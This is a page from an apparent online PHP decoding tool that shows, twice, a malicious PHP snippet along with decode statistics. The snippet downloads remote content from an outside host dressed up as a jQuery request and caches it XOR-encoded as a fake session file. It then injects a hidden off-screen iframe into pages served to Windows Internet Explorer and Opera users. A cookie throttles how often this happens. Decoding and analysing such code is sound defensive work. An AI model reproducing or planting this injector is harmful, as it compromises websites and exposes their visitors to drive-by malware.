Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if (!defined('frmDs')){ define('frmDs' ,1); function frm_dl ($url) { if (functio..

Decoded Output download

<?  if (!defined('frmDs')){ 
	define('frmDs' ,1); 
	 
	function frm_dl ($url) { 
		if (function_exists('curl_init')) { 
			$ch = curl_init($url); 
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
			$out = curl_exec ($ch); 
			if (curl_errno($ch) !== 0) $out = false; 
			curl_close ($ch); 
		} else {$out = file_get_contents($url);} 
		return trim($out); 
	} 
	 
	function frm_crpt($in){ 
		$il=strlen($in);$o=''; 
		for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*'; 
		return $o; 
	} 
	 
	function frm_getfrm() 
	{ 
		$defframe = '<style>.padqopq { position:absolute; left:-863px; top:-1158px; }</style> <div class="padqopq"><iframe src="http://wcxqvknrd.myfw.us/jquery/get.php?ver=jquery.latest.js" width="334" height="458"></iframe></div>'; //default frame 
		$codelink = 'http://wcxqvknrd.myfw.us/nc/gnc.php?ver=jquery.latest.js'; 
		if (!$codelink){ 
			return $defframe; 
		} 
	 
		$dr='/var/tmp'; 
		$f = $dr.'/sess_'.md5('frm_frame'); 
		if(!file_exists($f) || time() - filemtime($f) > 60*5) 
		{ 
			$dlc = frm_dl($codelink); 
			if ($dlc){ 
				if ($fp = @fopen($f, 'w')){ 
					fwrite($fp, frm_crpt($dlc)); 
					fclose($fp); 
				} 
				else 
					return $dlc; 
			} 
			else 
				@unlink($f); 
		} 
		$fc = @file_get_contents($f); 
		return ($fc)?frm_crpt($fc):$defframe; 
	} 
	 
	$ua = $_SERVER['HTTP_USER_AGENT']; 
	if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){ 
		error_reporting(0); 
		 
		if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) { 
			@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); 
			print($nfc); 
		} 
	} 
} ?>

Did this file decode correctly?

Original Code

if (!defined('frmDs')){
	define('frmDs' ,1);
	
	function frm_dl ($url) {
		if (function_exists('curl_init')) {
			$ch = curl_init($url);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			$out = curl_exec ($ch);
			if (curl_errno($ch) !== 0) $out = false;
			curl_close ($ch);
		} else {$out = file_get_contents($url);}
		return trim($out);
	}
	
	function frm_crpt($in){
		$il=strlen($in);$o='';
		for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
		return $o;
	}
	
	function frm_getfrm()
	{
		$defframe = '<style>.padqopq { position:absolute; left:-863px; top:-1158px; }</style> <div class="padqopq"><iframe src="http://wcxqvknrd.myfw.us/jquery/get.php?ver=jquery.latest.js" width="334" height="458"></iframe></div>'; //default frame
		$codelink = 'http://wcxqvknrd.myfw.us/nc/gnc.php?ver=jquery.latest.js';
		if (!$codelink){
			return $defframe;
		}
	
		$dr='/var/tmp';
		$f = $dr.'/sess_'.md5('frm_frame');
		if(!file_exists($f) || time() - filemtime($f) > 60*5)
		{
			$dlc = frm_dl($codelink);
			if ($dlc){
				if ($fp = @fopen($f, 'w')){
					fwrite($fp, frm_crpt($dlc));
					fclose($fp);
				}
				else
					return $dlc;
			}
			else
				@unlink($f);
		}
		$fc = @file_get_contents($f);
		return ($fc)?frm_crpt($fc):$defframe;
	}
	
	$ua = $_SERVER['HTTP_USER_AGENT'];
	if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
		error_reporting(0);
		
		if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
			@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
			print($nfc);
		}
	}
}

Function Calls

defined 1

Variables

None

Stats

MD5 73e3b553f99be12b96d4e2430b53e2ff
Eval Count 0
Decode Time 86 ms